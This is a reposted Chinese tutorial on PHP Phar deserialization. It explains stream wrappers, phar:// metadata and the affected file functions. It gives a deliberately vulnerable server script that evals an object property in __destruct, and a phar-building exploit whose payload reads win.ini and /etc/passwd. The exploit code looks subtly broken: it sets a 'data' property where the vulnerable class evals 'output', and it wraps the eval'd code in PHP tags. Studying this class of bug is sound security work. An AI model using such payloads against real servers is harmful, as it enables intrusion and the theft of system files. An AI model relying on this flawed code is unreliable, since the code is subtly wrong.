Phar反序列化漏洞原理
Posted hunpi
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Phar反序列化漏洞原理相关的知识,希望对你有一定的参考价值。
流和包装器
stream概念
我的理解,流就是各种数据源。
程序需要从某个数据源读入数据,而数据源可以是文件、内存或网络等,甚至是未曾见过的数据源,其使用的协议和编码是不相同的。
面对使用不同协议和编码的数据源,比如网络数据 http://
、本地数据 file://
等,程序需要理解什么是 http://
,才能交给函数等处理数据,所以创建了包装器的概念。
wrapper概念
php对于常见的数据流,设计了包装器的概念,为每一种strem实现一种包装器,从而处理特殊的协议和编码。
PHP提供内置包装器,我们也可以使用 stream_wrapper_register()
自定义包装器,包装器可以嵌套。
经过包装器的解释,PHP函数才可以理解并处理各种数据源。
包装器的格式:<scheme>://<target>
,其中schema是包装器的名称,target的格式由包装器的语法指定。
wrapper使用
PHP设计的包装器:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
包装器file://
PHP的默认包装器是 file://
,也就是说 include(“C:\\windows\\win.ini”) 实际上函数得到的数据源是 file://C:\\windows\\win.ini,亲测结果相同。
包装器phar://(全称PHP Archive)
####介绍
phar://
数据流包装器自PHP 5.3.0起开始有效。缺省状态是只读,php.ini配置项phar.readonly=On
。
Java Archive(Jar文件),把所有可执行、可访问的文件都打包进Jar文件里,使部署变得简单。Phar是类似Jar的一种打包文件。
Phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在其中,还会以序列化的形式存储用户自定义的meta-data,这是攻击核心。
封装协议摘要
属性 支持
支持 allow_url_fopen No
支持 allow_url_include No
允许读取 Yes
允许写入 Yes
允许附加 No
允许同时读写 Yes
支持 stat() Yes
支持 unlink() Yes
支持 rename() Yes
支持 mkdir() Yes
支持 rmdir() Yes
(1)demo:生成正常的Phar文件,首先设置php.ini的phar.readonly选项为Off。
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
亲测使用Winhex打开phar.phar,看到文件标识头,以及序列化的data数据。
<?php __HALT_COMPILER(); ?>
O:10:"TestObject":1:{s:4:"data";s:6:"hu3sky";}
漏洞
PHP的很多文件系统函数,在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。
这意味着,反序列化的两个利用条件已经达成一个。
如果存在魔术方法,在回收实例对象时,就有可能导致反序列化漏洞。
受影响函数列表
file_exists() | file_get_contents() | file_put_contents() | file | fopen |
---|---|---|---|---|
unlink() | copy() | readfile | parse_ini_file() | stat() |
file开头函数有12个 | is_系列7个函数 | 还有第二行5个函数 | 当然还有include系列函数 | - |
利用条件
1.Phar文件要能上传到服务器端,如file_exists(),fopen(),file_get_contents(),file()
等文件操作的函数。
2.文件操作函数的参数可控,且phar://
的三种特殊字符没有被过滤。
3.要有可用的魔术方法作为跳板,如eval($this -> output)
。
####基本漏洞测试-test0
(1)手动放置phar文件到服务端。
(2)服务端使用了能够解析 phar
的文件解析函数,且参数可控。
(3)存在输入可控的魔术方法:销毁方法__destruc()中会 eval
实例对象的output变量。
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct() // 有魔术方法处理用户传入的数据
{
eval($this -> output);
}
}
file_exists($filename);
构造可以执行命令的phar文件:
<?php
class AnyClass{
}
$phar = new Phar("phar0.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$o -> data='<?php echo @file_get_contents("C:\\windows\\win.ini");echo @file_get_contents("/etc/passwd");?>';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
参考
《PHP流Streams、包装器wrapper概念与用法实例详解》-脚本之家
https://www.jb51.net/article/128460.htm
以上是关于Phar反序列化漏洞原理的主要内容,如果未能解决你的问题,请参考以下文章